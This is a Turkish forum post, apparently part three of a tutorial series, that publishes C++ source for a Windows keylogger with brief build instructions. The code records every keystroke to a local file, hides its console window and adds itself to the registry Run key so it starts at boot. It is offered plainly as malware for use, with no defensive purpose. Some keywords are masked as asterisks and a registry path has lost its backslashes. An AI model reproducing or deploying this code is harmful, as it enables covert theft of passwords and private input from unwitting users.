• Web sitemizin içeriğine ve tüm hizmetlerimize erişim sağlamak için Web sitemize kayıt olmalı ya da giriş yapmalısınız. Web sitemize üye olmak tamamen ücretsizdir.
  • Sohbetokey.com ile canlı okey oynamaya ne dersin? Hem sohbet et, hem mobil okey oyna!
  • Soru mu? Sorun mu? ''Bir Sorum Var?'' sistemimiz aktiftir. Paylaşın beraber çözüm üretelim.

C++ Basit Local Keyloger Yapımı 3

Üyelik Tarihi
7 Ocak 2015
Konular
4,091
Mesajlar
4,274
MFC Puanı
40
Kod:
#include <cstdlib>
#include <iostream>
#include <windows.h>
#include <Winuser.h>

using namespace std;

int wrt(int key,char *fl);
**** st();
int addreg();
int main(int argc, char *argv[])
{
st();
addreg();
char i;
while(1)
{
for(int i = 8;i<=190;i++)
{
if(GetAsyncKeyState(i) == -32767){wrt(i,"log.txt");}
}
}
return EXIT_SUCCESS;
}
int wrt(int key,char *fl)
{
if((key == 1) || (key ==2)){return 0;}
FILE *outf;
outf = fopen(fl,"a+");
if(key == 8){fprintf(outf,"[backspace]");}
else if(key == 13){fprintf(outf,"n");}
else if(key == 32){fprintf(outf," ");}
else if(key == VK_TAB){fprintf(outf,"[TAB]");}
else if(key == VK_SHIFT){fprintf(outf,"[SHIFT]");}
else if(key == VK_CONTROL){fprintf(outf,"[CONTROL]");}
else if(key == VK_ESCAPE){fprintf(outf,"[ESCAPE]");}
else if(key == VK_END){fprintf(outf,"[END]");}
else if(key == VK_HOME){fprintf(outf,"[HOME]");}
else if(key == VK_UP){fprintf(outf,"[UP]");}
else if(key == VK_DOWN){fprintf(outf,"[DOWN]");}
else if(key == VK_RIGHT){fprintf(outf,"[RIGHT]");}
else if(key == VK_LEFT){fprintf(outf,"[LEFT]");}
else if(key == 190 || key == 110){fprintf(outf,"%s",".");}
else fprintf(outf,"%s",&key);
fclose(outf);
return 0;
}
**** st()
{
HWND st;
AllocConsole();
st = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(st,0);
}
int addreg()
{
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL,szPath,MAX_PATH);
HKEY newValue;
RegOpenKey(HKEY_LOCAL_MACHINE,"SoftwareMicrosoft WindowsCurrentVersionRun",&newValue);
RegSetValueEx(newValue,"name_me",0,REG_SZ,(LPBYTE) szPath,sizeof(szPath));
RegCloseKey(newValue);
return 0;
}


Dev C++ Programında çalışmaktadır. Visual Studio Programı ilede "#include <stdafx.h>" ettiğiniz dosya içerisine kütüphaneleri tanımayarak "win32 console application" Seçerek kullanabilirsiniz.
 
Üst